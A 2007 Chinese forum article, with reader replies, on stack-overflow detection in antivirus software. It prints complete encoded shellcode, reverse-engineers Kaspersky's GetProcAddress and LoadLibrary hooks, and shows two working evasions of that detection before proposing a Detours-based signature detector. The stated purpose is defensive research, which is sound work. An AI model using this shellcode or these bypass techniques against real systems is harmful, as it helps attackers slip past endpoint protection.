阅读:3148回复:4
基于栈指纹检测缓冲区溢出的一点思路
基于栈指纹检测缓冲区溢出的一点思路
Author:gyzy Email:gyzy@msn.com Homepage:http://www.gyzy.org Date:2007-08-08 带图片的PDF版本及随文工程可从附件下载 一. 现有的检测栈溢出的模式 二. 现有检测体系存在的不足 三. 针对引擎要做的改进 四. 关于未来 引言 当前主动防御等的概念逐渐进入人们视野,国外主流的杀毒软件都有栈溢出的检测模块,尽管相对传统的木马和病毒来说,缓冲区溢出仍占攻击的很小一部分,但是基于传统的“木桶理论”,安全是一个整体,威胁还是无处不在。 现有的栈溢出检测模式 整篇文章我都以Kaspersky Internet Security(KIS 6)作为例子,KIS7中这一部分并无大的改进。以下是测试用的Shellcode: __asm { /* --------------------解码开始---------------------- */ jmp decode_end decode_start: pop edx // 得到解码开始位置 esp -> edx dec edx xor ecx,ecx mov cx,0x13D // 要解码的长度 decode_loop: xor byte ptr [edx+ecx], 0x99 loop decode_loop jmp decode_ok decode_end: call decode_start decode_ok: /*--------------------解码结束---------------------- */ jmp end start: pop edx // 指令表起始地址存放在 esp -> edx // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 ===== // // 输入: // edx => 指令表起始地址 (不需要) // // 输出: // eax => kernel32.dll起始地址 // edx => 指令表起始地址 mov eax, fs:0x30 // PEB mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO mov esi, [eax + 0x1c] // InInitOrder.flink lodsd mov eax,[eax+8] // ========== 定位GetProcAddress的地址 ========== // // 输入: // eax => kernel32.dll起始地址 // edx => 指令表起始地址 // // 输出: // ebx => kernel32.dll起始地址 // eax => GetProcAddress地址 // edx => 指令表起始地址 mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address mov esi,dword ptr [ebx+3Ch] // esi = PE header offset mov esi,dword ptr [esi+ebx+78h] add esi,ebx // esi = exports directory table mov edi,dword ptr [esi+20h] add edi,ebx // edi = name pointers table mov ecx,dword ptr [esi+14h] // ecx = number of name pointers xor ebp,ebp push esi search_GetProcAddress: push edi push ecx mov edi,dword ptr [edi] add edi,ebx // 把输出函数名表起始地址存人edi mov esi,edx // 指令表起始地址存入esi //mov ecx,0Eh // 函数getprocAddress长度为0Eh push 0xE pop ecx repe cmps byte ptr [esi],byte ptr [edi] je search_GetProcAddress_ok pop ecx pop edi add edi,4 inc ebp loop search_GetProcAddress search_GetProcAddress_ok: pop ecx pop edi pop esi mov ecx,ebp mov eax,dword ptr [esi+0x24] add eax,ebx shl ecx,1 add eax,ecx xor ecx,ecx mov cx,word ptr [eax] mov eax,dword ptr [esi+0x1C] add eax,ebx shl ecx,2 add eax,ecx mov eax,dword ptr [eax] add eax,ebx // ============ 调用函数解决api地址 ============ // // 输入: // ebx =>kernel32.dll起始地址 // eax =>GetProcAddress地址 // edx =>指令表起始地址 // // 输出: // edi =>函数地址base addr // esi =>指令表当前位置 // edx =>GetProcAddress 地址 mov edi,edx mov esi,edi add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"32177368 // ============ 解决kernel32.dll中的函数地址 ============ mov edx,eax // 把GetProcAddress 地址存放在edx //mov ecx,0x5 // 需要解决的函数地址的个数 push 0x2 pop ecx call locator_api_addr // ============ 加载user32.dll ============ add esi,0xd // 硬编码可以节省两个字节 push edx // edx是GetProcAddress 地址 push esi // 字符"urlmon"地址 //mov dword ptr fs:[4],0x0012FFFF //mov dword ptr fs:[8],0x0012FFFF call dword ptr [edi-4] // LoadLibraryA // ============ 解决函数地址 ============ pop edx mov ebx,eax // 将urlmon.dll起始地址存放在ebx //mov ecx,1 // 函数个数 push 0x1 pop ecx // 函数个数 <-这种方式省两个字节 call locator_api_addr // 取得一些空间存放系统路径 sub esp, 0x20 mov ebx, esp //MessageBox的参数 mov dword ptr [ebx], 0x797a7967 // "yzyg" mov dword ptr [ebx+0x4], 0x00000000 // "00" push 0 push ebx push ebx push 0 call [edi-0x4] //MessageBoxA // ExitProcess push eax call dword ptr [edi-0x0c] // ExitProcess // ============ 解决api地址的函数 ============ // // 输入参数: // ecx 函数个数 // edx GetProcAddress 地址 // ebx 输出函数的dll起始地址 // esi 函数名表起始地址 // edi 保存函数地址的起始地址 locator_api_addr: locator_space: xor eax,eax lodsb test eax,eax // 寻找函数名之间的空格x00 jne locator_space push ecx push edx push esi // 函数名 push ebx // 输出函数的dll起始地址 //mov dword ptr fs:[4],0x0012FFFF //mov dword ptr fs:[8],0x0012FFFF call edx pop edx pop ecx stos dword ptr [edi] loop locator_space xor eax,eax ret // ================== 结束调用 ==================== end: call start } 通过这个简单的Shellcode可以窥探到卡巴对于栈溢出的检测模式,通过将shellcode拷贝到栈中执行的方式也模拟栈溢出,期间KIS共弹出了5次Buffer Overrun的警告,从Shellcode中大致可以推断出被Hook的函数是GetProcAddress(4次)和LoadLibraryA(1次),如图1 图片:bypass1.JPG 以下是GetProcAddress的反汇编代码: 7C883FEC > 55 PUSH EBP 7C883FED 8BEC MOV EBP,ESP 7C883FEF 90 NOP 7C883FF0 5D POP EBP 7C883FF1 - E9 997EFF75 JMP F287BE8F 7C883FF6 90 NOP 7C883FF7 90 NOP 很明显GetProcAddress被Hook了,LoadLibrary系列函数也是一样,那么究竟卡巴是如何检测栈溢出的产生的呢,再看它的驱动: lkd> u f287BE8F f287be8f 8b442404 mov eax,dword ptr [esp+4] f287be93 56 push esi f287be94 8b74240c mov esi,dword ptr [esp+0Ch] f287be98 6a00 push 0 f287be9a 56 push esi f287be9b 6880be87f2 push 0F287BE80h f287bea0 8d4c2414 lea ecx,[esp+14h] f287bea4 50 push eax lkd> u f287bea5 51 push ecx f287bea6 e8f5f3ffff call f287b2a0 f287beab 84c0 test al,al f287bead 7410 je f287bebf f287beaf 6a05 push 5 f287beb1 33f6 xor esi,esi f287beb3 ff159cc087f2 call dword ptr ds:[0F287C09Ch] f287beb9 8bc6 mov eax,esi lkd> u f287bebb 5e pop esi f287bebc c20800 ret 8 f287bebf 688fbe87f2 push 0F287BE8Fh f287bec4 e807f6ffff call f287b4d0 f287bec9 8d1440 lea edx,[eax+eax*2] f287becc 56 push esi f287becd 8b44240c mov eax,dword ptr [esp+0Ch] f287bed1 50 push eax lkd> u f287b2a0 f287b2a0 8b442408 mov eax,dword ptr [esp+8] f287b2a4 8b542404 mov edx,dword ptr [esp+4] f287b2a8 56 push esi f287b2a9 8d4c240c lea ecx,[esp+0Ch] f287b2ad 50 push eax f287b2ae 51 push ecx f287b2af 52 push edx f287b2b0 e8fbfdffff call f287b0b0 lkd> u f287b0b0 f287b0b0 55 push ebp f287b0b1 8bec mov ebp,esp f287b0b3 83ec24 sub esp,24h f287b0b6 64a104000000 mov eax,dword ptr fs:[00000004h] f287b0bc 8945f8 mov dword ptr [ebp-8],eax f287b0bf 64a108000000 mov eax,dword ptr fs:[00000008h] f287b0c5 8945fc mov dword ptr [ebp-4],eax f287b0c8 8b4508 mov eax,dword ptr [ebp+8] lkd> u f287b0cb 8b4d0c mov ecx,dword ptr [ebp+0Ch] f287b0ce 8b50fc mov edx,dword ptr [eax-4] f287b0d1 8b45fc mov eax,dword ptr [ebp-4] f287b0d4 3bd0 cmp edx,eax f287b0d6 8911 mov dword ptr [ecx],edx f287b0d8 7210 jb f287b0ea f287b0da 3b55f8 cmp edx,dword ptr [ebp-8] f287b0dd 730b jae f287b0ea lkd> u f287b0df b8e7030000 mov eax,3E7h f287b0e4 8be5 mov esp,ebp f287b0e6 5d pop ebp f287b0e7 c20c00 ret 0Ch f287b0ea 8b4510 mov eax,dword ptr [ebp+10h] f287b0ed 3d00000068 cmp eax,68000000h f287b0f2 0f829e000000 jb f287b196 f287b0f8 3d00000065 cmp eax,65000000h 其中f287b0d4处的几条比较指令可能就是判断溢出与否的关键,上面有两条指令也特别值得注意: mov eax,dword ptr fs:[00000004h] mov eax,dword ptr fs:[00000008h] 以下是TEB的数据结构: typedef struct _TEB { // Size: 0xF88 /*000*/ NT_TIB NtTib; /*01C*/ VOID *EnvironmentPointer; /*020*/ CLIENT_ID ClientId; // PROCESS id, THREAD id /*028*/ HANDLE ActiveRpcHandle; /*02C*/ VOID *ThreadLocalStoragePointer; /*030*/ PEB *ProcessEnvironmentBlock; // PEB /*034*/ ULONG LastErrorValue; /*038*/ ULONG CountOfOwnedCriticalSections; /*03C*/ ULONG CsrClientThread; /*040*/ ULONG Win32ThreadInfo; /*044*/ UCHAR Win32ClientInfo[0x7C]; /*0C0*/ ULONG WOW32Reserved; /*0C4*/ ULONG CurrentLocale; /*0C8*/ ULONG FpSoftwareStatusRegister; /*0CC*/ UCHAR SystemReserved1[0xD8]; // ExitStack ??? /*1A4*/ ULONG Spare1; /*1A8*/ ULONG ExceptionCode; /*1AC*/ UCHAR SpareBytes1[0x28]; /*1D4*/ UCHAR SystemReserved2[0x28]; /*1FC*/ UCHAR GdiTebBatch[0x4E0]; /*6DC*/ ULONG gdiRgn; /*6E0*/ ULONG gdiPen; /*6E4*/ ULONG gdiBrush; /*6E8*/ CLIENT_ID RealClientId; /*6F0*/ ULONG GdiCachedProcessHandle; /*6F4*/ ULONG GdiClientPID; /*6F8*/ ULONG GdiClientTID; /*6FC*/ ULONG GdiThreadLocalInfo; /*700*/ UCHAR UserReserved[0x14]; /*714*/ UCHAR glDispatchTable[0x460]; /*B74*/ UCHAR glReserved1[0x68]; /*BDC*/ ULONG glReserved2; /*BE0*/ ULONG glSectionInfo; /*BE4*/ ULONG glSection; /*BE8*/ ULONG glTable; /*BEC*/ ULONG glCurrentRC; /*BF0*/ ULONG glContext; /*BF4*/ ULONG LastStatusValue; /*BF8*/ LARGE_INTEGER StaticUnicodeString; /*C00*/ UCHAR StaticUnicodeBuffer[0x20C]; /*E0C*/ ULONG DeallocationStack; /*E10*/ UCHAR TlsSlots[0x100]; /*F10*/ LARGE_INTEGER TlsLinks; /*F18*/ ULONG Vdm; /*F1C*/ ULONG ReservedForNtRpc; /*F20*/ LARGE_INTEGER DbgSsReserved; /*F28*/ ULONG HardErrorsAreDisabled; /*F2C*/ UCHAR Instrumentation[0x40]; /*F6C*/ ULONG WinSockData; /*F70*/ ULONG GdiBatchCount; /*F74*/ ULONG Spare2; /*F78*/ ULONG Spare3; /*F7C*/ ULONG Spare4; /*F80*/ ULONG ReservedForOle; /*F84*/ ULONG WaitingOnLoaderLock; } TEB, *PTEB; typedef struct _NT_TIB { struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // 00h Head of exception // record list PVOID StackBase; // 04h PVOID StackLimit; // 08h PVOID SubSystemTib; // 0Ch union { // 10h PVOID FiberData; // for TIB ULONG Version; // for TEB }; PVOID ArbitraryUserPointer; // 14h Available // for application use struct _NT_TIB *Self; // 18h Linear address // of TEB structure } NT_TIB; typedef NT_TIB *PNT_TIB; Fs:[4]和Fs:[8]分别是当前线程的栈基址和栈顶,现在思路就比较明朗了,卡巴就是通过检测GetProcAddress等关键API的返回地址是否处于栈中来判定栈溢出的发生。 现有检测模式的不足 既然知道了他的检测模式,那么突破就是轻而易举的事了,有两种思路: 修改TEB中Fs:[4]和Fs:[8]的值来使卡巴认为返回地址不在栈中.就是上面Shellcode中在call之前注释掉的部分mov dword ptr fs:[4],0x0012FFFF和mov dword ptr fs:[8],0x0012FFFF。在测试的时候发现使用这一方法能使GetProcAddress绕过卡巴的检测,但是LoadLibrary系列却不行,百思不得其解,若有高人知道,请指教(可能TEB跟线程有关,LoadLibrary涉及到多线程方面的一些问题)。 第二种方法就是在内存中找一个相对固定又可写可执行的地址写入push 返回地址 ret这样一系列的指令,然后再将函数返回地址指向其来绕过卡巴的检测。具体的实现如下:在原来调用API的地方,如call dword ptr [edi-4] // LoadLibraryA 使用如下方法来代替: mov edx,dword ptr [edi-4] // LoadLibraryA call gcall 其中gcall代码如下: // ============ 绕过缓冲区溢出检查的call ============ // // 输入参数: // edx 函数地址 // 0x7C884000 gcall: pop eax //将真正的返回地址保存到eax mov ecx,0x7C884000 push ecx mov byte ptr [ecx],0x68 //push指令 mov dword ptr [ecx+1],eax //写入地址 mov byte ptr [ecx+5],0xC3 //写入ret指令 jmp edx //执行真正的函数 0x7C884000是Kernel32数据段的地址,当然,可以用其它等价的地址替换。再次运行shellcode,卡巴没有任何反应,如图2: 图片:bypass2.JPG 针对性的改进 在卡巴现有的检测中还是有一个Bug,就是TEB中的栈基址和栈顶数据是不可信的,应当在初始化时保存,而不应每次都去重新获取,当然这种检测机制本身就是不可靠的,需要改进,这就是本文要提出的基于栈指纹检测缓冲区溢出,说白了就是利用特征码+API Hook来更可靠的检测栈溢出的发生,防止迂回绕过我们的检测,因为有一点是肯定的:栈溢出发生时Shellcode是在栈中的,这个想法也是借鉴自反病毒的概念。微软公司在VC7开始提供了一个/GS编译选项来防止栈溢出带来的危害,但是事实证明还是能被绕过,例如:覆盖SEH。笔者认为安全产品做的越前端就越不容易被绕过,比如拦截Shellcode的行为肯定要比拦截溢出的发生有效的多。 笔者利用Detour库做了一个检测的模型,代码如下: // dll.cpp : 定义 DLL 应用程序的入口点。 // #include <windows.h> #include "detours.h" #include <dbt.h> DETOUR_TRAMPOLINE(HMODULE WINAPI fLoadLibraryA(LPCTSTR lpFileName),LoadLibraryA); HMODULE WINAPI MyLoadLibraryA(LPCTSTR lpFileName) { DWORD stackbase,stacklimit,retaddr; __asm{ mov eax,dword ptr [esp+0x1c] mov retaddr,eax mov eax,dword ptr fs:[4] mov stackbase,eax mov eax,dword ptr fs:[8] mov stacklimit,eax } if ( retaddr < stacklimit && retaddr > stackbase ) { overflow: MessageBox(0,"BufferOverflow Detected!","gyzy",MB_ICONINFORMATION); return NULL; } //0x64 0xA1 0x30 0x00 0x00 0x00 __asm{ push 0x100 pop ecx mov esi,esp compare: cmp dword ptr [esi],0x0030A164 //检测mov eax,fs:[30] je overflow inc esi loop compare } return fLoadLibraryA(lpFileName); } BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DetourFunctionWithTrampoline((PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA); break; case DLL_PROCESS_DETACH: DetourRemove((PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA); break; } return TRUE; } 这儿只是为了达到演示的目的只挂接了LoadLibraryA,并且配合了卡巴的检测方法,目的是提高检测的效率。这使用的指纹就是mov eax,fs:[30],几乎每个Shellcode都会用到来获取Kernel32的基址,当然如果要成为一个商业产品,那无疑需要降低误报的几率,那就需要更可靠的特征码。 #include <windows.h> unsigned char shellcode[] = "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x21\x01\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x45\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12" "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A" "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6" "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D" "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A" "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58" "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0" "\x71\xD8\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x12\xCE\x65\x71\xD5\x99" "\x99\x99\xC3\x12\x41\xF3\x98\xC0\x71\xB0\x99\x99\x99\x1A\x75\xB9" "\x12\x45\x5E\x9A\xFE\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99\xF3" "\x99\xCA\xCA\xF3\x99\x12\xCE\x65\x71\xB8\x99\x99\x99\xC9\x12\xCE" "\x6D\x71\x81\x99\x99\x99\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF" "\xCA\x71\x91\x99\x99\x99\xC3\xC0\x32\x7B\x72\xAA\x59\x5A\xC1\x20" "\x99\xD9\x11\xE5\xC8\x5F\x98\xF1\x10\xD8\x98\x5F\xD8\x9C\x5A\x66" "\x7B\x71\x86\x66\x66\x66" "\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC" "\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5" "\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4" "\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99"; unsigned char sh2llcode[] = "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x28\x01\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x7A\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12" "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A" "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6" "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D" "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A" "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58" "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0" "\x71\xD1\x99\x99\x99\x1A\x5F\x94\xCB\xCF\xFD\x5E\x9C\x9D\x99\x99" "\x99\x66\x66\x8B\x99\xFD\x5E\x9C\x91\x99\x99\x99\x66\x66\x8B\x99" "\x66\xCE\x65\xC3\x12\x41\xF3\x98\xC0\x71\x86\x99\x99\x99\x1A\x75" "\xB9\x12\x45\x5E\x9A\xFE\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99" "\xF3\x99\xCA\xCA\xF3\x99\x66\xCE\x65\xC9\x66\xCE\x6D\xAA\x59\x35" "\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\xFD\x5E\x9C\x9D\x99\x99\x99\x66" "\x66\x8B\x99\xFD\x5E\x9C\x91\x99\x99\x99\x66\x66\x8B\x99\x66\x4B" "\xC3\xC0\x32\x7B\x41\xAA\x59\x5A\x71\x81\x66\x66\x66" "\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC" "\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5" "\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4" "\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99"; unsigned char sh3llcode[] = "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\xFC\x00\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x2E\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12" "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A" "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6" "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D" "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A" "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58" "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0" "\x71\xAB\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41" "\xF3\x98\xC0\x71\x86\x99\x99\x99\x1A\x75\xB9\x12\x45\x5E\x9A\xFE" "\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99\xF3\x99\xCA\xCA\xF3\x99" "\x66\xCE\x65\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB" "\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xDD\x66\x66" "\x66" "\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC" "\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5" "\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4" "\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99"; int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { //加载溢出防护dll LoadLibrary("AntiOverflow.dll"); char sc[512]; ZeroMemory(sc,512); memcpy(sc,(char*)shellcode,512); __asm { lea eax,sc jmp eax } return 0; } 第一个Shellcode是能绕过卡巴检测的,第二个是修改了TEB中栈基址和栈顶值的Shellcode,卡巴会报一次,第三个是原始的Shellcode,卡巴会报5次。在加载了上述的溢出防护dll之后,3次测试都准确的拦截了,如图3: 关于未来 从效率的角度来看,Ring0下的Hook显然要比Ring3下高,因为挂接了大量此类函数会使系统的效率明显下降,以及代码的效率问题,都是需要提高的。另外就是指纹的选择,可以借鉴杀毒软件中复合特征码的思路来做。历来对于堆溢出的检测一直没有好的思路,或许指纹检测也是一个权宜之计。错误或纰漏在所难免,在此还恳请大家指正。 附参考文献: [1] 作者不详.《Windows NT内核分析》 |
|
|
沙发#
发布于:2007-08-15 14:41
学习了. 在您的主站下载了附件. 有些还不是很清楚.
但毕竟是来学习. 留个名支持下. 谢谢! |
|
板凳#
发布于:2007-08-15 21:45
|
|
|
地板#
发布于:2007-09-26 18:21
这么卡哇伊的一个图啊
|
|
地下室#
发布于:2009-03-29 20:55
写的确实好,受益匪浅,希望继续写下去,让我这样的菜鸟继续学习
|
|